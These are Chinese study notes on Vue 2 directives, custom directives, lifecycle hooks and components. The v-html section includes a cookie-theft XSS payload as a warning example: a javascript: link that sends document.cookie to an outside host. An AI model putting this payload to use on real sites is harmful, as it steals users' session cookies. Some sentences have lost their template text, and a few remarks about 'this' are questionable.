# 1. Vue.text内置指令

  1. v-text指令: 向所在节点中渲染文本内容
  2. 与插值语法的区别: v-text会替换掉节点中的内容, 则不会

目前学过的指令:

v-bind: 单项绑定解析表达式, 可简写为 :xxx

v-model: 双向数据绑定

v-for: 遍历数组/对象/字符串

v-on: 绑定事件监听, 可简写为 @click

v-if: 条件渲染 (动态控制节点是否存在)

v-else: 条件渲染 (动态控制节点是否存在)

v-show: 条件渲染 (动态控制节点是否展示)

<div class="box">
    <h1>{{name}}</h1>
    <h1 v-text="name"></h1>
    <h1 v-text="str"></h1>
</div>
new Vue({
    el: '.box',
    data: {
        name: '小城故事',
        str: '<h1>你好</h1>'
    }
})

# 2. V-html内置指令

  • v-html指令: 向指定节点中渲染包含html结构的内容

# 1. 与插值语法的区别:

  1. v-html会替换节点中所有的内容, 不会
  2. v-html可识别html结构

# 2. 注意: v-html有安全性问题!

  1. 在网站上动态渲染任意html是危险的, 容易导致XSS攻击
  2. 要在可信内容上使用v-html, 不要用在用户提交的内容上面
<div class="box">
    <h1>{{name}}</h1>
    <h1 v-text="a"></h1>
    <h1 v-html="a"></h1>
    <h1 v-html="b"></h1>
</div>
new Vue({
    el: '.box',
    data: {
        name: '小城故事',
        a: '<h2>你好</h2>',
        b: '<a href=javascript:location.href="http://baidu.com?"+document.cookie>领取资料</a>'
    }
})

# 3. V-cloak内置指令

  1. v-cloak指令(没有值): 本质是一个特殊属性, Vue实例创建完毕并接管容器后, 会删除v-cloak属性
  2. 使用CSS配合v-cloak可解决网速慢时页面展示的问题
<style>
    [v-cloak] {
        display: none;
    }
</style>
<div class="box">
    <h1 v-cloak>{{name}}</h1>
</div>
<script src="http://192.168.0.104:3000/vue.js"></script>
new Vue({
    el: '.box',
    data: {
        name: '小城故事',
    }
})

# 4. V-once内置指令

  1. v-once所在节点在初次动态渲染后, 就视为静态内容了
  2. 以后数据的改变不会引起v-once所在结构的更新, 可用于优化性能
<div class="box">
    <h1 v-once>初始n的值是: {{n}}</h1>
    <h1>当前n的值是: {{n}}</h1>
    <button @click="n++">点我让n+1</button>
</div>
new Vue({
    el: '.box',
    data: {
        n: 1
    }
})

# 5. V-pre内置指令

  1. 跳过所在节点的编译过程
  2. 可利用它跳过: 没有使用指令语法、没使用插值语法的节点, 会加快编译
<div class="box">
    <h1 v-pre>{{name}}</h1>
    <h1 v-pre>当前n的值是: {{n}}</h1>
    <button @click="n++">点我让n+1</button>
</div>
new Vue({
    el: '.box',
    data: {
        name: '小城故事',
        n: 1
    }
})

# 6. 自定义指令-函数式

# big函数何时会调用?

  1. 指令与元素成功绑定时(一上来)
  2. 指令所在的模板被重新解析时
  3. 定义一个v-big指令, 和v-text功能相似, 但会把绑定的数值放大10倍
<div class="box">
    <h1>{{name}}</h1>
    <h1>当前的n值是: {{n}}</h1>
    <h1>放大10倍后的n值是: <span v-big="n"></span></h1>
    <button @click="n++">点我让n+1</button>
</div>
new Vue({
    el: '.box',
    data: {
        n: 1,
        name: '小城同学'
    },
    directives: {
        big(element, binding) {
            // 让n放大10倍
            element.innerText = binding.value * 10
            // element 是当前DOM元素
            // binding 是个对象, 包含(指令名、指令值...)
            console.log(element, binding, this) // 指向window
            console.log(element instanceof HTMLElement)
        }
    }
})

# 7. 自定义指令-对象式

  • 定义一个v-fbind指令, 和v-bind功能相似, 但可以让绑定input元素默认获取焦点
<div class="box">
    <h1>{{name}}</h1>
    <h1>当前的n值是: {{n}}</h1>
    <h1>放大10倍后的n值是: <span v-big="n"></span></h1>
    <button @click="n++">点我让n+1</button>
    <!-- v-fbind指令 -->
    <input type="text" v-fbind:value="n">
</div>
new Vue({
    el: '.box',
    data: {
        n: 1,
        name: '小城同学'
    },
    directives: {
        big(element, binding) {
            element.innerText = binding.value * 10
            console.log(element, binding)
        },
        // fbind(element, binding) {
        //     element.value = binding.value
        // }
        fbind: {
            // 指令与元素成功绑定时(一上来)
            bind(element, binding) {
                console.log('bind', this) // 指向window
                element.value = binding.value
            },
            // 指令所在的元素被插入页面时
            inserted(element, binding) {
                console.log('inserted')
                element.focus()
            },
            // 指令所在的模板被重新解析时
            update(element, binding) {
                console.log('update')
                element.value = binding.value
            }
        }
    }
})

# 8. 自定义指令函数与对象式总结

# 1. 局部指令:

new Vue({
    directives: {指令名: 配置对象}
})new Vue({
    directives() {}
})

# 2. 全局指令: Vue.directive(指令名: 配置对象) 或 Vue.directive(指令名: 回调函数)

# 3. 配置对象中常用的3个回调:

(1): bind: 指令与元素成功绑定时调用

(2): inserted: 指令所在的元素被插入页面时调用

(3): update: 指令所在的模板被重新解析时调用

# 4. 备注:

1.指令定义时不加v-, 但使用时要加v-:

2.指令名如果是多个单词, 要使用add-list命名方式, 不要用addList命名

在全局指令中, this指向Vue实例, 而局部指令中, this指向Vue实例的$options对象

在bind方法中, this指向指令对象本身, 因此是window

<div class="box">
    <h1>当前的n值是: {{n}}</h1>
    <h1>放大10倍后的n值是: <span v-big="n"></span></h1>
    <button @click="n++">点我让n+1</button>
    <!-- v-fbind指令 -->
    <input type="text" v-fbind-num:value="n">
</div>
<div class="box2">
    <!-- 01. 第二个盒子要配置全局directives指令 -->
    <input type="text" v-fbind-num:value="n">
</div>
Vue.directive('fbind-num', {
            bind(element, binding) {
                console.log('bind', this) // 04. 此处this指向window
                element.value = binding.value
            },
            inserted(element, binding) {
                console.log('inserted')
                element.focus()
            },
            update(element, binding) {
                console.log('update')
                element.value = binding.value
            }
        })
// 03. 定义全局指令(函数式) 配置全局directive
Vue.directive('big', function(element, binding) {
            element.innerText = binding.value * 10
            console.log(element, binding, this) // 05. 此处this指向window
        })

new Vue({
    el: '.box',
    data: {
        n: 1
    },
    directives: {
                // big(element, binding) {
                //     element.innerText = binding.value * 10
                //     console.log(element, binding, this) // 此处this指向window
                // },
                // 'fbind-num': {
                //     bind(element, binding) {
                //         console.log('bind', this) // 此处this指向window
                //         element.value = binding.value
                //     },
                //     inserted(element, binding) {
                //         console.log('inserted')
                //         element.focus()
                //     },
                //     update(element, binding) {
                //         console.log('update')
                //         element.value = binding.value
                //     }
                // }
            }
})
new Vue({
    el: '.box2',
    data: {
        n: 1
    }
})

# 9. 引出Vue生命周期/mounted

  1. 又名: 生命周期回调函数、生命周期函数、生命周期钩子
  2. 生命周期是什么: Vue在关键时刻调用一些特殊名称的函数
  3. 生命周期函数的名字不可更改, 但函数具体内容是程序员根据需求编写的
  4. 生命周期函数中的this指向vm或组件实例对象
  5. Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
<div class="box">
    <h2 :style="{opacity: opacity}">欢迎学习Vue</h2>
    <h2 v-if="a">你好</h2>
</div>
new Vue({
    el: '.box',
    data: {
        opacity: 1,
        a: false
    },
    // Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
    mounted() {
        console.log('mounted', this)
        setInterval(() => {
            this.opacity -= 0.01
            if (this.opacity <= 0) this.opacity = 1
        }, 10)
    }
})
// 通过外部定时器实现(不推荐), methods方法也不推荐
// setInterval(() => {
//     vm.opacity -= 0.01
//     if (vm.opacity <= 0) vm.opacity = 1
// }, 10)

# 10. Vue的生命周期

  • Vue生命周期有四个阶段: 初始阶段、挂载阶段、更新阶段、销毁阶段、共八个钩子函数
<div class="box">
    <h1>{{name}}</h1>
    <h1>当前n的值是: {{n}}</h1>
    <h3 v-text="n"></h3>
    <button @click="add">点我让n+1</button>
    <button @click="destroy">点我销毁vm</button>
</div>
let vm = new Vue({
    el: '.box',
    data: {
        name: '小城同学',
        n: 1
    },
    methods: {
        add() {
            this.n++
            console.log('add被调用了')
        },
        destroy() {
            this.$destroy() // 销毁vm
        },
        m() {
            console.log('m...')
        }
    },
    watch: {
        n() {
            console.log('n被监视了一次')
        }
    },
    // 1. 初始阶段 虚拟DOM生成 
    beforeCreate() {
    // 创建前 初始化事件&生命周期
    // 创建前指: 数据代理和数据监测的创建前
    // 此时无法访问data和methods中的数据
    // 该阶段可以做一些loading效果
        console.log('beforeCreate', this.n)
        // this.m() // 报错
        // debugger
    },
    created() {
    // 创建后 初始化数据代理&数据监测
    // 创建后指: 数据代理和数据监测创建完毕, 可以访问data和methods数据了
    // 该阶段可以做结束loading效果, 也可发送网络请求、获取数据、添加定时器
        console.log('created', this.n)
        this.m() // 可以访问methods
        // debugger
    },
    // 编译模板语句生成虚拟DOM(此时虚拟DOM已经生成, 但页面没有渲染)
    // 2. 挂载阶段 真实DOM生成
    beforeMount() {
    // 挂载前, 此时修改数据页面没有效果, 但内存有了
    // 此时页面还未渲染, 真实DOM还未生成
        console.log('beforeMount')
        // debugger
    },
    // 创建vm.$el 并用它替代el, 此时真实DOM生成, 页面渲染完成
    mounted() {
    // 挂载后 此时已经完成渲染挂载, 可以对数据进行操作
        console.log('mounted')
        console.log(this.$el)
        console.log(this.$el instanceof HTMLElement)
        // debugger
    },
    // 3. 更新阶段 data变化重新渲染
    beforeUpdate() {
    // 更新前 此时只是内存数据有变化, 页面还未更新
    // 适合在更新前访问现有DOM, 比如手动移除事件监视器
        console.log('beforeUpdate')
        // debugger
    },
    // 新旧data进行Diff算法没问题虚拟DOM就会重新渲染和修补
    updated() {
    // 更新后 重新渲染真实DOM到页面
    // 页面更新后, 想对数据统一处理, 可以在这完成
        console.log('updated')
        // debugger
    },
    // 4. 销毁阶段 销毁vm上的监视器watch、子组件、自定义事件监听器(高版本vue会移除所有事件)
    beforeDestroy() {
    // 销毁前
    // 此时的watcher监视器active 为true激活状态
        console.log('beforeDestroy', this) // 指向vm
    // 对数据进行修改 只是让内存数据变化 但页面不会重新渲染
        // this.n = 10 // 虽然销毁前处于绑定关系, 但都无法用
        // debugger
    // 此时可以做清除定时器工作 
    },
    destroyed() {
    // 销毁后
    // 此时的watcher监视器active 为false卸载状态
        console.log('destroyed', this)
        // debugger
    },
})
console.log(vm)

# 11. 总结Vue生命周期

# 1. 常用的生命周期钩子:

  1. mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等..初始化操作
  2. beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等..收尾工作

# 2. 关于销毁Vue实例:

  1. 销毁后 借助Vue开发者工具是看不到任何信息的
  2. 销毁后 自定义事件会失效, 原生DOM事件依然有效(低版本)
  3. 一般不会beforeDestroy操作数据, 因为即便操作数据, 也不会再触发更新流程了
<div class="box">
    <h2 :style="{opacity: opacity}">欢迎学习Vue</h2>
     <button @click="stop">点击停止变换</button>
     <button @click="opacity = 1">透明度设置为1</button>
</div>
let vm = new Vue({
    el: '.box',
    data: {
        opacity: 1,
    },
    methods: {
        stop() {
            // clearInterval(this.timer)
            this.$destroy()
        }
    },
    mounted() {
        console.log('mounted', this)
        this.timer = setInterval(() => {
            console.log('定时器还在运行')
            this.opacity -= 0.01
            if (this.opacity <= 0) this.opacity = 1
        }, 10)
    },
    beforeDestroy() {
        clearInterval(this.timer)
        console.log('vm即将驾鹤西游了')
    },
})

# 12. Vue非单文件组件的使用-components-extend-template

  • 组件的使用分为三步: 1.创建组件 2.注册组件 3.使用组件

# 1. 如何创建组件?

  • 使用Vue.extend(options)创建, 其中options和new Vue(options)时传入的那个options几乎一样, 但也有区别

区别如下:

组件定义时, 不要写el配置项, 因为最终所有组件由vm管理和决定服务哪个容器

data必须写成函数, 避免组件被复用时, 数据存在引用关系

使用template配置组件结构, 但里面只能有一个根元素, 多个需加div包囊

# 2. 如何注册组件?

  1. 局部注册: new Vue时传入component选择
  2. 全局注册: Vue.component(组件名, 组件)
  3. 使用组件标签:
<div class="box">
    <!-- 使用组件标签 -->
    <school></school>
    <hr>
    <student></student>
    <hr>
    <student></student>
    <hr>
</div>
<div class="box2">
    <student></student>
    <all></all>
</div>
let school = Vue.extend({ // 创建组件
    template: `
        <div>
            <h3>学校名称: {{schoolname}}</h3>
            <h3>学校地址: {{address}}</h3>
            <button @click="show">点我提示学校名</button>
        </div>`,
    data() {
        return {
            schoolname: '尚硅谷',
            address: '北京昌平'
        }
    },
    methods: {
        show() {
            alert(this.schoolname)
        }
    }
})
let student = Vue.extend({
    template: `
        <div>
            <h3>学生姓名: {{name}}</h3>
            <h3>学生年龄: {{age}}</h3>
        </div>`,
    data() {
        return {
            name: '小城同学',
            age: 18
        }
    }
})

let all = Vue.extend({ // 创建全局组件
    template: `
        <div>
            <h3>你好啊, {{name}}</h3>
        </div>`,
    data() {
        return {
            name: '我是全局组件'
        }
    }
})
Vue.component('all', all) // 全局注册组件
new Vue({
    el: '.box',
    components: { // 局部注册组件
        school: school, // 组件名: 组件变量名
        student: student
    }
})
new Vue({
    el: '.box2',
    components: {
        student
    }
})

# 13. 非单文件的几个注意点

# 1. 组件名

(1) 一个单词组成:

第一种写法: 首字母小写 school

第二种写法: 首字母大写 School

(2) 多个单词组成

第一种写法: my-school

第二种写法: MySchool (需要脚手架支持)

备注:

组件名不能为HTML标签, 例如: h2 H2都不行

可以使用name配置项指定组件在开发者工具中呈现的名字

# 2. 组件标签

  1. 第一种写法:
  2. 第二种写法:
  3. 注意: 不使用脚手架时, 会导致后续组件不能渲染

# 3. 简写方式

  • let school = Vue.extend(options) 可简写为: let school = options
<div class="box">
    <school></school>
    <school/>
    <school/>
</div>
let school = Vue.extend({
    name: 'xuexiao',
    template: `
        <div>
            <h2>{{name}}</h2>
            <h2>{{address}}</h2>
        </div>`,
    data() {
        return {
            name: '尚硅谷',
            address: '北京昌平'
        }
    }
})
new Vue({
    el: '.box',
    components: {
        school
    }
})

# 14.Vue组件的嵌套

<div class="box">
    <!-- <hello></hello> -->
    <!-- <school></school> -->
    <!-- <app></app> -->
</div>
let student = Vue.extend({
    template: `
        <div>
            <h3>{{name}}</h3>
            <h3>{{age}}</h3>
        </div>`,
    data() {
        return {
            name: '小城同学',
            age: 18
        }
    }
})
let school = Vue.extend({
    template: `
        <div>
            <h3>{{schoolname}}</h3>
            <h3>{{address}}</h3>
            <student></student>
        </div>`,
    data() {
        return {
            schoolname: '尚硅谷',
            address: '北京昌平'
        }
    },
    components: {
        student 
    }
})

let hello = Vue.extend({
    template: `
        <div>
            <h3>{{msg}}</h3>
        </div>`,
    data() {
        return {
            msg: '欢迎学习Vue'
        }
    }
})

let app = Vue.extend({
    template: `
        <div>
            <hello></hello>
            <school></school>
        </div>`,
    components: {
        hello,
        school
    }
})

let vm = new Vue({
    el: '.box',
    template: '<app></app>',
    components: {
        app
        // school,
        // hello
    }
})
console.log(vm)

# 15. Vue.Component构造函数-vc组件实例对象

  1. school组件本质是名为Vuecomponent构造函数, 是Vue.extend生成的
  2. 只需写, Vue解析时会创建school组件的实例对象
  3. 注意: 每次调用Vue.extend, 返回值都是一个全新的Vuecomponent

# 4. 关于this指向:

(1) 组件配置中:

data、methods、watch、computed函数, this都指向Vuecomponent实例对象

(2) new Vue(options)配置中:

data、methods、watch、computed函数, this都指向Vue实例对象

  1. Vuecomponent的实例对象, 简称vc/组件实例对象
<div class="box">
    <school></school>
    <hello></hello>
</div>
let school = Vue.extend({
    template: `
        <div>
            <h3>{{name}}</h3>
            <h3>{{address}}</h3>
            <button @click="show">点我提示Vue.Component的this</button>
        </div>`,
    data() {
        return {
            name: '尚硅谷',
            address: '北京昌平'
        }
    },
    methods: {
        show() {
            console.log(this)
        }
    }
})
let hello = Vue.extend({
    template: `<h3>{{name}}</h3>`,
    data() {
        return {
            name: '你好'
        }
    }
})
// 判断school和hello是不是同一个构造函数
console.log(school)
console.log(hello)
console.log(school == hello)
console.log(school.a = 1)
console.log(hello.a)
let vm = new Vue({
    el: '.box',
    components: {
        school,
        hello
    }
})
console.log(vm)

# 16. Vue和Component的重要内置关系

  1. 重要内置关系: VueComponent.prototype.proto == Vue.prototype
  2. 为什么要有这个关系? : 让组件实例对象vc 可以访问到Vue原型对象上的属性、方法
// function fn(a, b) {
//     this.a = 1,
//     this.b = 2
// }
// let obj = new fn()
// console.log(fn.prototype) // 显示原型属性
// console.log(obj.__proto__) // 隐式原型属性
// console.log(fn.prototype == obj.__proto__) // true
// // 通过原型对象添加x属性, 隐式原型也可以访问到x
// fn.prototype.x = 10
// console.log(obj.__proto__.x)
// console.log(obj)
let school = Vue.extend({
    template: `
        <div>
            <h1>{{name}}</h1>
            <button @click="show">点我证明this指向x</button>
        </div>`,
    data() {
        return {
            name: '尚硅谷'
        }
    },
    methods: {
        show() {
            console.log(this)
            console.log(this.x)
        }   
    }
})
let vm = new Vue({
    el: '.box',
    data: {
        name: '小城同学'
    },
    components: {
        school
    }
})
console.log(vm)
console.log(school.prototype.__proto__ == Vue.prototype)
// 证明Vue.Component对象原型 可以访问 Vue原型对象的属性和方法
Vue.prototype.x = 10

# 17. el和template配置项

  1. 编译模板语句生成虚拟DOM(此时虚拟DOM已经生成, 但页面没有渲染)
  2. 初始阶段有个判断流程才能进行下一阶段
  3. el有, template也有, 最终编译template模板语句
  4. el有, template没有, 最终编译el模板语句
  5. el没有, 需手动调用vm.$mount(el)挂载, 流程才能继续, 此时如果template有, 最终编译template模板
  6. el没有, 需手动调用vm.$mount(el)挂载, 流程才能继续, 此时如果没有template, 最终编译el模板
  7. 结论: 流程想要继续, el必须存在
  8. el和template同时存在, 优先选template, 没有则选el
<div class="box">
    <h1>{{name}}</h1>
</div>
let vm = new Vue({
    // el: '.box',
    template: `<h1>{{n}}</h1>`,
    data: {
        name: '测试el和template配置项',
        n: 'template配置项'
    }
})
vm.$mount('.box') // 手动挂载

# 18. input输入框渲染顺序

<button>点击创建一个input输入框</button> <br>
<script>
    document.querySelector('button').addEventListener('click', () => {
        let input = document.createElement('input')
        document.body.appendChild(input)
        input.focus()
        input.className = 'add'
        input.parentElement.style.backgroundColor = 'skyblue'
    })
</script>